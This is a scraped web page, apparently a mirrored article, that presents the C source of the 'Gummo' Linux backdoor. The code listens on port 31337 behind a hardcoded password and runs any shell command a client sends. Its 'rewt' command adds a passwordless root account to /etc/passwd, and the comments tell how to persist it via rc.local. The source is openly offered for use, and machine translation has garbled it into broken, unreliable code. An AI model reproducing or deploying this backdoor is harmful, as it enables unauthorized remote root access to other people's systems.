Linux Backdoor Program

Source: Internet
Author: User

Tag:file   com   help   errno.h    exit     efi   snprintf   password   byte   

/*/* Gummo Backdoor Server/* Compile: CC SERVER.C-O server/* use:./server &/* Echo/tmp/server & >>/etc/rc.d/rc.loca L/* #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include < sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include < unistd.h> #define PORT 31337#define BACKLOG 5#define cmd_log "/tmp/.cmd" #define PASSWORD "PASSWORD"/* Global */int NEWF d;void command (); void main () {int sockfd, sin_size, ss, Len, bytes; struct sockaddr_in my_addr; struct sockaddr_in their _ADDR; Char passwd[1024]; Char *prompt = "Password:"; Char *GP; Create a nested if ((SOCKFD = socket (af_inet, sock_stream, 0)) = =-1) {perror ("socket"); exit (1);} my_addr.sin_family = Af_ INET; My_addr.sin_port = htons (port); MY_ADDR.SIN_ADDR.S_ADDR = Inaddr_any; Bzero (& (My_addr.sin_zero), 8); Bind Port if (bind (SOCKFD, struct sockaddr *) &my_addr, sizeof (struct sockaddr)) = =-1) {perror ("bind"); Exit (1); }//Answer if (Listen (SOCKFD, BACKLOG) = =-1) {perror ("listen"); exit (1);} while (1) {ss = sizeof (struct sockaddr_in); Always receive the return of the new section if (NEWFD = Accept (SOCKFD, (struct sockaddr *) &their_addr, &sin_size)) = =-1) {perror ("accept "); Exit (1); }//Create a process//child process returns 0 Error 1 parent process returns PID if (fork ()) {///////////////////in parent process/////////////////////////len = strlen (prompt); To the new section of the Word data is sent to the customer service end data bytes = Send (NEWFD, prompt, Len, 0); The data that receives the customer service end is also the password recv (NEWFD, passwd, 1024, 0); Determine 13 first occurrence position if (GP = STRCHR (passwd)) = NULL) * (gp) = ' + '; Password Positive solution if (!strcmp (passwd, PASSWORD)) {//continue to send to customer service (NEWFD, "Grant access, heh\n", 0); Send (NEWFD, "\n\n\n\n\n\n Welcome to Gummo Backdoor Server!\n\n ", 41, 0); Send (NEWFD, "Type ' help ' for a list of commands\n\n", 36, 0); All sent commands are processed and their output is sent to the client command (); }//Password error directly exiting else if (passwd! = PASSWORD) {Send (NEWFD, "Authentification failed! =/\n ", 29, 0); Close (NEWFD); }}}}//handles the command of the client Terminal void () {FILE *read; FILE *append; Char cmd_dat[1024]; Char *cmd_relay; Char *clean_log; Char buf[5000]; int DXM; while (1) {//First send a hint send (NEWFD, "command:~#", 11, 0); Wait to receive recv (NEWFD, Cmd_dat, 1024, 0); Cmd_dat[strlen (Cmd_dat)-2] = ' + '; Determines whether the command is empty if (strcmp (Cmd_dat, "")) {//Command Help if ((Strstr (Cmd_dat, "" help ") = = Cmd_dat) {//help send (NEWFD," \n\n-=h ELP menu=-\n ", 16, 0); Quit Send (NEWFD, "\nquit-to exit Gummo backdoor\n", 31, 0); Rewt Send (NEWFD, "rewt-automatically creates non passworded accnt ' rewt ' uid0\n", 63, 0); Wipeout Send (NEWFD, "wipeout-this feature RM-RF/' s a box. Inspired by dethcraze\n ", 64, 0); }//quit if ((Strstr (Cmd_dat, "quit") = = = Cmd_dat) {close (NEWFD);}//rewt if ((Strstr (Cmd_dat, "rewt") = = = Cmd_dat) { System ("Echo rewt::0:0::/:/bin/sh>>/etc/passwd;"); Send (NEWFD, "User ' Rewt ' added!\n", 19, 0); }//wipout if ((Strstr (Cmd_dat, "wipeout") = = Cmd_dat) {Send (NEWFD, "You try to use this command is not possible, heh!\n", 0); close (NEWFD); Exi T (0); } else//engage a temporary File Save command string append = fopen (CMD_log, "w"); fprintf (Append, "dextro\n"); Fclose (append); Used to clean up logs Clean_log = (char *) malloc (420); sprintf (Clean_log, "rm%s", Cmd_log); System (Clean_log); Cmd_relay = (char *) malloc (1024); Used for output redirection snprintf (Cmd_relay, 1024x768, "%s >%s;\0", Cmd_dat, Cmd_log); System (Cmd_relay); if (read = fopen (Cmd_log, "R")) = = NULL) continue; while (!) ( feof (Read)) {memset (buf, 0, +); Fgets (buf, + = 0) break; write (buf[0, NEWFD, +);} buf (R EAD); } }}

Linux Backdoor

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.